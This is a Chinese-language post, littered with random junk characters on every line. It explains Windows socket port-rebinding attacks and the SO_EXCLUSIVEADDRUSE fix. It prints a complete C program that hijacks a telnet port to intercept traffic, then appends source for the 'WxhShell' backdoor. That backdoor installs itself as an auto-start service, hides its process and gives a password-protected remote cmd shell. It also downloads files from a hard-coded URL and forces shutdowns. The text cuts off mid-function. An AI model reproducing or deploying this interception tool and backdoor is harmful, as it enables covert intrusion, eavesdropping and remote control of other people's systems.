在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
YRm6~c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
)4BLm
Zf~Z&"C) saddr.sin_family = AF_INET;
;XXB^, (W4H?u@X0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>")<pUQ Q,m1mIf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9(
"<NB0y (TJ )Y7E 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zo~5(O@ Y(3X5v?[ 这意味着什么?意味着可以进行如下的攻击:
^TF71uo =9AX\2w*H; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
soXIPf gkw/Rd1oG 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
hYS}PE (B:+md\Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
^>ICycJ sw^4h`^' 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9#X"m,SB \=NS@_t, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
{N2MskK L|H:&|F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hiQ #<
Hlj_oDL 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
lOuO~`,J E+!A0!1 #include
_8I\! #include
u?B9zt%$-m #include
/l&$B #include
nA?Ks!9T DWORD WINAPI ClientThread(LPVOID lpParam);
EYD24 int main()
r(VznKSx {
-L&%,% WORD wVersionRequested;
3BzC'nplm DWORD ret;
vle`#c. WSADATA wsaData;
r#X6jU BOOL val;
/_l$h_{DH SOCKADDR_IN saddr;
AkE(I16Uy~ SOCKADDR_IN scaddr;
cA8A^Iv:0 int err;
6A23H7 SOCKET s;
C_ 4(-OWq SOCKET sc;
JULns#tx} int caddsize;
{\62c;. HANDLE mt;
y1c2(K>tu DWORD tid;
+l) [A{ wVersionRequested = MAKEWORD( 2, 2 );
#M~6A^) err = WSAStartup( wVersionRequested, &wsaData );
a*(,ydF|L if ( err != 0 ) {
{|D7H=f printf("error!WSAStartup failed!\n");
yJn<S@)VT: return -1;
lzDA0MPI: }
'`nf7b( saddr.sin_family = AF_INET;
VY|'7in"M ,\Uc/wR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ziTE*rNJ [.j&~\AG saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
x=%wPVJ saddr.sin_port = htons(23);
tEFbL~n if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
b[s=FH]#N {
L }L"BY3$ printf("error!socket failed!\n");
J,Rp&tavt: return -1;
O
!
iN }
&A!?:?3%O val = TRUE;
Mj5&vs~n; //SO_REUSEADDR选项就是可以实现端口重绑定的
[wv;CUmgc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
eWWtMnq {
)N'rYS'9 printf("error!setsockopt failed!\n");
sRKoM return -1;
k|D =Q }
,|G~PC8 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
I:Q3r"1 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
cfhiZ~."T //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_k O<|ev \;bDDTM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
8qF OO3c\V {
@h)Z8so ret=GetLastError();
e61e|hoX\ printf("error!bind failed!\n");
q)rxv7Iu\ return -1;
]7DS>%mY( }
jWNF3\ listen(s,2);
KzWqHq while(1)
gO%oA} !i {
i8|0zI caddsize = sizeof(scaddr);
~A$y-Dt'
//接受连接请求
_y5J]Yu`j sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^={s(B2 if(sc!=INVALID_SOCKET)
Xn= {
f{+n$Cos mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
g?OC-zw if(mt==NULL)
7+;CA+; {
/k^!hI"4c printf("Thread Creat Failed!\n");
WinwPn+9 break;
?w5>Z/V }
(t_%8Eu }
B6J< CloseHandle(mt);
>& `;@ZOH }
94Q?)0W$ closesocket(s);
*w5xC5* WSACleanup();
*wp>a?sG\ return 0;
_Y _v& }
C2(VYw DWORD WINAPI ClientThread(LPVOID lpParam)
fq4[/%6,O {
h;DLD8L SOCKET ss = (SOCKET)lpParam;
w
tSX(LNY SOCKET sc;
m4x8W2q unsigned char buf[4096];
iOXsj SOCKADDR_IN saddr;
hZwJ@ Vm# long num;
,
G9{: DWORD val;
>eM>Y@8= DWORD ret;
A3eus //如果是隐藏端口应用的话,可以在此处加一些判断
b`&
:` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
1WUlBr/k saddr.sin_family = AF_INET;
}!*CyO* saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
9:JQ*O$ saddr.sin_port = htons(23);
CKy/gTN if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wrm
ReT? {
"(+p1
printf("error!socket failed!\n");
IrMxdF~c return -1;
7
V3r!y }
KvY1bMU! val = 100;
*|Bt! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n7VQi+i' {
Z# o;H$ ret = GetLastError();
xua
E\*m return -1;
wn/Y5 }
'y%*W:O if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jeWI<ms {
N:~CN1 ret = GetLastError();
SL5QhP return -1;
`"h[Xb#A`b }
we&D"V if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
/zg|I?$>Z4 {
V(wANvH printf("error!socket connect failed!\n");
0x,NMS closesocket(sc);
'Rq2x-72} closesocket(ss);
m5
l,Lxj return -1;
U#g,XJ }
vocWV/ while(1)
i{biQ|,.sL {
<`")Zxf+ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&`I 7aP| //如果是嗅探内容的话,可以再此处进行内容分析和记录
4Qj@:b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
):Pzsz7 num = recv(ss,buf,4096,0);
Btyp=wfN[ if(num>0)
t7 +U! send(sc,buf,num,0);
H6Q!~o\"H else if(num==0)
K+3+?oYKH break;
K9QC$b9( num = recv(sc,buf,4096,0);
WPDi)UX if(num>0)
Z3 O_K send(ss,buf,num,0);
Lq]t6o] else if(num==0)
LO@o`JF break;
|31/*J!@z* }
UH`cWV Lpr closesocket(ss);
m8<.TCIQ closesocket(sc);
%`\=qSf* return 0 ;
w=kW~gg }
cceh`s=cU N7UGgn= QC<O=<$Q[ ==========================================================
C Xh>'K }9~U5UXWU 下边附上一个代码,,WXhSHELL
c1ptN J;GYo|8 ==========================================================
1~y\MD*-j ")i_{C,b^ #include "stdafx.h"
8;$zD]{D1 B\\M%!a> #include <stdio.h>
{y`n_ #include <string.h>
g_;4@jwTP" #include <windows.h>
:vJ1Fo! #include <winsock2.h>
FJ] ?45 #include <winsvc.h>
p-kug]qX #include <urlmon.h>
B3Da w/G F*p@hl #pragma comment (lib, "Ws2_32.lib")
V6kJoSyde #pragma comment (lib, "urlmon.lib")
I78Q8W(5
*]*0uo #define MAX_USER 100 // 最大客户端连接数
<2t%<<% #define BUF_SOCK 200 // sock buffer
\pVNJy$`< #define KEY_BUFF 255 // 输入 buffer
JYrOE"!h HQGH7<=Om #define REBOOT 0 // 重启
TT^L)d #define SHUTDOWN 1 // 关机
Y3g<%6 TEQs9-Uy #define DEF_PORT 5000 // 监听端口
?fX`z(Z 8fA8@O} #define REG_LEN 16 // 注册表键长度
@Px_\w #define SVC_LEN 80 // NT服务名长度
:X 9_~ md;jj^8zj // 从dll定义API
?X@uR5?{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@dc4v_9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\[<8AV"E-' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
n'83P%x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`{H!V~42 Ntlbn&lc;D // wxhshell配置信息
$_O;yz struct WSCFG {
0?*":o30 int ws_port; // 监听端口
C&f{LpB` char ws_passstr[REG_LEN]; // 口令
OZ4% 6/ int ws_autoins; // 安装标记, 1=yes 0=no
51 "v`O+ char ws_regname[REG_LEN]; // 注册表键名
o[aIQ|G char ws_svcname[REG_LEN]; // 服务名
?0?+~0sI char ws_svcdisp[SVC_LEN]; // 服务显示名
.#LvvAeh char ws_svcdesc[SVC_LEN]; // 服务描述信息
BHpj_LB-P char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r#B{j$Rw
int ws_downexe; // 下载执行标记, 1=yes 0=no
>6gduD!6I char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
lyw)4;wt\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
gg@Ew4L& s&M#]8x;x };
r#(*x 2~, 4[rX\?^e // default Wxhshell configuration
M3s:B& / struct WSCFG wscfg={DEF_PORT,
,U.|+i{ "xuhuanlingzhe",
<~
?LU^ 1,
4F,RlKHBl "Wxhshell",
c/}-pZn< "Wxhshell",
nU/x,W[} "WxhShell Service",
rw%OA4> "Wrsky Windows CmdShell Service",
H8h,JBg5<F "Please Input Your Password: ",
p4@0Dz`Q 1,
\L"0Pmt[ "
http://www.wrsky.com/wxhshell.exe",
LfMN 'Cb "Wxhshell.exe"
`=E4J2" };
zO((FQ ZJV;&[$[ // 消息定义模块
+\RviF[+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
ql7N\COoq char *msg_ws_prompt="\n\r? for help\n\r#>";
&IP`j~b char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3bagL)'iz char *msg_ws_ext="\n\rExit.";
qRCUkw} fs char *msg_ws_end="\n\rQuit.";
YLp#z8 1e char *msg_ws_boot="\n\rReboot...";
I@ D<rjR char *msg_ws_poff="\n\rShutdown...";
)<`/Aaie char *msg_ws_down="\n\rSave to ";
BHR(B]EI e#^vA$d char *msg_ws_err="\n\rErr!";
+T HBPEq char *msg_ws_ok="\n\rOK!";
pt%Y1<9Eh? o"g<Vz char ExeFile[MAX_PATH];
6c*QBzNL int nUser = 0;
N3ccn HANDLE handles[MAX_USER];
$.O(K4S int OsIsNt;
YbJB.;qK r
TK)jxklX SERVICE_STATUS serviceStatus;
s[%@3bY!7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
rQ)I /gP"X1. // 函数声明
UVD*GsBk int Install(void);
yH(%*-S int Uninstall(void);
e/zz.cd){ int DownloadFile(char *sURL, SOCKET wsh);
4R&pb1eF int Boot(int flag);
B:fulgh2ni void HideProc(void);
K}QZdN'] int GetOsVer(void);
@gi / 1 cq int Wxhshell(SOCKET wsl);
E+P-)bRa void TalkWithClient(void *cs);
^]9.$$GU\A int CmdShell(SOCKET sock);
JPq' C$ int StartFromService(void);
"LM[WcDX int StartWxhshell(LPSTR lpCmdLine);
,yTT,)@< sM@1Qyv&0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
v
K!vA-7 VOID WINAPI NTServiceHandler( DWORD fdwControl );
\xX'SB#.l K}tC8D // 数据结构和表定义
a.up&g_$
SERVICE_TABLE_ENTRY DispatchTable[] =
ese?;1r {
1WAps#b. {wscfg.ws_svcname, NTServiceMain},
|fPR7- {NULL, NULL}
)OZ };
w%~Mg3| -NUA // 自我安装
wcL|{rUXba int Install(void)
n8o(>?Kw {
e84O
6K6o char svExeFile[MAX_PATH];
y)T|1) HKEY key;
B1o*phM
g strcpy(svExeFile,ExeFile);
W"H(HA (
c +M"s // 如果是win9x系统,修改注册表设为自启动
F+/#ugI if(!OsIsNt) {
4]no#lVRJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*C,1x5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<h*$bx]9 + RegCloseKey(key);
~X,ZZ 9H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ki\J)l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
p*~b5'+ C+ RegCloseKey(key);
N2&h yM return 0;
K5 Z'kkOk }
oEsqLh9a| }
GE}>{x=^x }
Z;cA_}5 else {
RH"EO4 /;`-[ // 如果是NT以上系统,安装为系统服务
QVe<Z A8N; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
d>Ky(wS if (schSCManager!=0)
B+[L/C}=; {
34t[]v|LD SC_HANDLE schService = CreateService
vO8CT-) (
Oox,4& schSCManager,
Duq.`XO wscfg.ws_svcname,
$;j{?dvm. wscfg.ws_svcdisp,
TTo5"r9I8 SERVICE_ALL_ACCESS,
[ip}f4K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TchByN6oN< SERVICE_AUTO_START,
|qtZb}"| SERVICE_ERROR_NORMAL,
J+YoAf`hi svExeFile,
#X*=oG NULL,
Go PK. E$ NULL,
2 5Ia NULL,
G,XUMZ NULL,
%[fZ@!B NULL
Fr1OzS^&( );
gk4DoO j#P if (schService!=0)
.}3K9.hkr {
z/|tsVK CloseServiceHandle(schService);
>C -N0H CloseServiceHandle(schSCManager);
R?}<CjI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
S{zl<>+ strcat(svExeFile,wscfg.ws_svcname);
xDIl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Yw,LEXLY RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*zWf8X RegCloseKey(key);
j4E`O%@^ return 0;
#XeabcOQ }
LR
y&/d }
0yL%Pjn6 CloseServiceHandle(schSCManager);
#w;%{C[D }
fU'[lZ }
xi=Qxgx0I Env_??xq return 1;
i 8:^1rHp) }
A<{&?_U p~dj-w // 自我卸载
X,`e1nsR int Uninstall(void)
I1!m;5-c9k {
HQV#8G#B HKEY key;
E*8).'S%k pR3K~bx^ if(!OsIsNt) {
;% 4N@Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
c)zwyBz RegDeleteValue(key,wscfg.ws_regname);
$%"~.L4 RegCloseKey(key);
JvM:x y9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
E 7"`D\* RegDeleteValue(key,wscfg.ws_regname);
"^5 %g% RegCloseKey(key);
:tX,`G return 0;
idNg&' }
Ui}%T] }
R9InUX"k }
?$%2\"wX~7 else {
~s>Ud<l%r _+.
)8
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
AmBLZ<f; if (schSCManager!=0)
>{k0N@_ {
F"t.ND SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
]/od p/jm if (schService!=0)
MO_;8v~0 {
h2vD*W if(DeleteService(schService)!=0) {
z:JJ>mxV CloseServiceHandle(schService);
2w>yW] CloseServiceHandle(schSCManager);
YfVZ59l4y6 return 0;
P]`m5 N }
R<e ~Cb- CloseServiceHandle(schService);
pSS8 %r%S' }
w~WW2w CloseServiceHandle(schSCManager);
(r"2XXR }
r*t\F&D }
rY]QTS">o r$&WwH2^ return 1;
VZr AZV^c }
WS1#i\0 .a
`ojT // 从指定url下载文件
>jpkR int DownloadFile(char *sURL, SOCKET wsh)
^MUvd {
=X=m_\=~@ HRESULT hr;
e%JH q char seps[]= "/";
[,ZHn$\ char *token;
5VGr<i&A char *file;
'%[r 9w char myURL[MAX_PATH];
EGK7)O'W char myFILE[MAX_PATH];
Yk
yB fi';Mb3B3 strcpy(myURL,sURL);
48n 7<M;I token=strtok(myURL,seps);
N6%M+R/Q while(token!=NULL)
l&uBEYx {
YCo qe,5 file=token;
}Z8DVTpX} token=strtok(NULL,seps);
GA2kg7 }
YY
8vhnw OsNJ;B GetCurrentDirectory(MAX_PATH,myFILE);
%lS jC%Z'd strcat(myFILE, "\\");
S/x CX! strcat(myFILE, file);
Mt%=z9OLq9 send(wsh,myFILE,strlen(myFILE),0);
lAo S 9w send(wsh,"...",3,0);
++Fk8R/$U[ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6}GcMhU<r if(hr==S_OK)
utBKl'` return 0;
@;h$!w< else
fb D return 1;
`8G {-_ 9Vtn62+ }
6Wc'5t3 ~a`
vk@8 // 系统电源模块
]?(_}""1 int Boot(int flag)
*&~wl(+O= {
</9@RO HANDLE hToken;
0i/!nke. TOKEN_PRIVILEGES tkp;
D:Fi/JY~ \* SEj&9 if(OsIsNt) {
*/A ~lR| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ZoroK.N4A% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
,nz3S5~ tkp.PrivilegeCount = 1;
L<_zQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Kp%:\s,lO AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Pze{5! if(flag==REBOOT) {
NLF6O9 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
g\=e86 return 0;
PR~9*#"v.. }
s)j3+@:# else {
E*{_=pX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)1o<}7 return 0;
>IE`, fe }
do=s=&T }
HiTj-O else {
HR$;QHl~F if(flag==REBOOT) {
l$3YJ.n|s~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
*e
*V%w~75 return 0;
_q3|Ddm2LN }
SB=%(]S else {
*#Hw6N0# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
GKa_6X_ return 0;
Eg 8rgiU }
o1)8?h }
(bON[6OGm x`VA3nE9 return 1;
IHvrx:7 }
CyD)=e{ 5nv1%48Ri // win9x进程隐藏模块
nbdjk1E`~ void HideProc(void)
0:qR,NW^# {
xoyH5ZK@ *{s
3.=P. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
zE1=*zO` if ( hKernel != NULL )
ZA.i\
;2 {
R>dd#`r" pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Vc$y^|= ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^=7XA894 FreeLibrary(hKernel);
i'`[dwfS }
NAh^2X ZCz#B2Sf8 return;
CCU<t
Q }
;eT+Ly|{ Or,W2 // 获取操作系统版本
N=~aj7B% int GetOsVer(void)
.ly K
,p {
ZOY zCc(d OSVERSIONINFO winfo;
w[Q)b() winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gPw{'7'U GetVersionEx(&winfo);
klSA Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
SRek:S, return 1;
10W6wIqK else
C7xmk;c
w return 0;
! ,&{1p }
=uD^#AX ?<6yKxn // 客户端句柄模块
0t(js_ int Wxhshell(SOCKET wsl)
$&jte_hv {
p@iU9K\, SOCKET wsh;
^]ig*oS\` struct sockaddr_in client;
"]ZDs^7 DWORD myID;
:FX|9h O7lFg;9c` while(nUser<MAX_USER)
a+PVi {
K | '`w. int nSize=sizeof(client);
Ji7<UJ30x wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_FtsO<p)" if(wsh==INVALID_SOCKET) return 1;
6gTc)rhRT OS sYmF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
DZqY=Sze
if(handles[nUser]==0)
vfloha p closesocket(wsh);
pgEDh^[MW else
#9CLIYJAd nUser++;
{W$K@vuV;? }
(fcJp)D WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-)Of\4kx #VynADPs`o return 0;
/nB|Fo_&Q }
B<oBo&uA ^vha4<'-qG // 关闭 socket
+~f=L- > void CloseIt(SOCKET wsh)
2./;i>H[u {
M*2
Nq=3 closesocket(wsh);
(Fs{~4T nUser--;
J+r:7NvZ ExitThread(0);
%3@-.= }
tZan1C%p> <BjrW]pM // 客户端请求句柄
][`% vj9r void TalkWithClient(void *cs)
3oBR {
{.o@XP,. 3{9d5p|\i SOCKET wsh=(SOCKET)cs;
}va>jfy char pwd[SVC_LEN];
yoG*c%3V? char cmd[KEY_BUFF];
4}F~h char chr[1];
yZkS
int i,j;
{3!E8~ t[o_!fmxZ while (nUser < MAX_USER) {
6|Xe ],u s"B2Whe if(wscfg.ws_passstr) {
e\r%"~v if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?@CbaX~+K //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P(cy@P,D //ZeroMemory(pwd,KEY_BUFF);
)W*A[c
2 i=0;
#Fz/}lO while(i<SVC_LEN) {
-_ <z_IL\% qylI/,y{ // 设置超时
ip!-~HNwJ fd_set FdRead;
+F+M[ef<ws struct timeval TimeOut;
,-[z?dvO FD_ZERO(&FdRead);
hGJANA FD_SET(wsh,&FdRead);
KZ@'NnQ TimeOut.tv_sec=8;
n}/4em? TimeOut.tv_usec=0;
M< / int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ziC%Q8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
CaR-Yk
IPf>9#L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
vn4z C pwd
=chr[0]; V6Y0#sTU
if(chr[0]==0xd || chr[0]==0xa) { CD[}|N
pwd=0; (nAL;:$x2
break; z]R%'LGu
} Y`rli
i++; nt8&Mf
} w|c200Is}e
iF
Zq oz
// 如果是非法用户,关闭 socket Oi<yT"7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X}H?*'-
} U=PTn(2
^@^K
<SVc
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `T{'ufI4B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hlmeT9v{
@MO/LvD
while(1) { V.Tn1i-v
PU8dr| !
ZeroMemory(cmd,KEY_BUFF);
fj'7\[nZ
)3k?{1:
// 自动支持客户端 telnet标准 <QD[hO^/
j=0; JJK-+a6cX
while(j<KEY_BUFF) { Rqr>B(|
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rFaG-R
cmd[j]=chr[0]; ih-J{1
if(chr[0]==0xa || chr[0]==0xd) { jl5&T{z
cmd[j]=0; )Z)Gb~G
break; Ub/ZzAwq
} |-L7qZu%
j++; @qEUp7W.?
} rn/~W[
.3&(Y
// 下载文件 &f2:aT)
if(strstr(cmd,"http://")) { 54=*vokX_
send(wsh,msg_ws_down,strlen(msg_ws_down),0); }(7TiCwd
if(DownloadFile(cmd,wsh))
\440gH`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %OOkPda
else DTG-R>y^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jj?HOtaM
} :W;eW%Y
else { ;Y0M]pC
W4UK?#S+
switch(cmd[0]) { {@6:kkd
sNM ]bei
// 帮助 ~d\^ynQ
case '?': { No`*-> R
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hZlHY9[t?
break; B<i(Y1n[
} zK&1ti@wln
// 安装 FzNj':D
case 'i': { d0-4KN2
if(Install()) *2pf>UzL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4:-x!lt
else uehu\umt=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )/)[}wN;j
break; x"!`JDsS
} BoxtP<C"
// 卸载 5z =}o/?
case 'r': { I]hjv
if(Uninstall()) V~p01f"J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ln+.=U6Tm
else i&?\Pp;5-j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c g)>A
break; 9p{n7.
} QO^V@"N
// 显示 wxhshell 所在路径 lX.-qCV"B
case 'p': { ,J,Rup">h
char svExeFile[MAX_PATH]; No)0|C8:
strcpy(svExeFile,"\n\r"); at4JLbk
strcat(svExeFile,ExeFile); D, Gv nfY
send(wsh,svExeFile,strlen(svExeFile),0); h3-^RE5\`S
break; b.v +5=)B
} OF03]2j7<|
// 重启 }xBDyr63
case 'b': { bN7m[GRO.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A*~G[KC3(
if(Boot(REBOOT)) (Gw*xsn 1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tgax ZW
else { Je,o(:
closesocket(wsh); y0`;
br\X
ExitThread(0); ;0Q" [[J
} OGIv".~s4
break; x;<0Gg~jB
} NyT%S?@y<
// 关机 4\5i}MIS0
case 'd': { heL`"Y2'y>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IT{c:jo1{`
if(Boot(SHUTDOWN))
PpKjjA<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zyhM*eM.7
else { ]A5Y/dd
closesocket(wsh); >KL=(3:":p
ExitThread(0); jXLd#6
} BGxwPJd
break; ~^jPE)
} K1^7v}P
// 获取shell $}{[_2
case 's': { Vjs'|%P7
CmdShell(wsh); {kw%7}!
closesocket(wsh); ~\<$H'
ExitThread(0); _cE_\Ay
break; 3}!u8,P
} "w%:5~u9
// 退出 !#:5^":;
case 'x': { `g3AM%3
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (WJ)!
CloseIt(wsh); <D3mt Q
break; CgmAxcK
} D =mmBo
// 离开 ^8_yJ=~V
case 'q': { ]XbMqHGS
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B{R [z%Y
closesocket(wsh); |Y05 *!\P*
WSACleanup(); mvK^')
exit(1); y: x<`E=
break; W#~7X
} kl]MP}wc
} 2.I|8d[
} ge1. HG
\*=wm$p&*
// 提示信息 9?MzIt
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J@2wPKh?Yp
} |Z94@uB
} )~)l^0X
`MCiybl,&P
return; $8rnf
} '(FC
A5J41yH
// shell模块句柄 v}N\z2A
int CmdShell(SOCKET sock) |(Mxbprz
{ {'tfU
STARTUPINFO si; "WuUMt
ZeroMemory(&si,sizeof(si)); mjWU0.
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y|Q(JX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E`I(x&_
PROCESS_INFORMATION ProcessInfo; n)"JMzjQ<
char cmdline[]="cmd"; -f&vH_eK
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
?bVIH?
return 0; l[c '%M |N
} 0t%]z!
e}1Q+h\
// 自身启动模式 w(&EZDe
int StartFromService(void) Jh 0Grq
{ " Q?~LB
typedef struct wR@>U.XT@
{ >fzyD(>
DWORD ExitStatus; %L* EB;nK
DWORD PebBaseAddress; ~Ym_ {
DWORD AffinityMask; Q;8z&4s@
DWORD BasePriority; MGsQF #6]
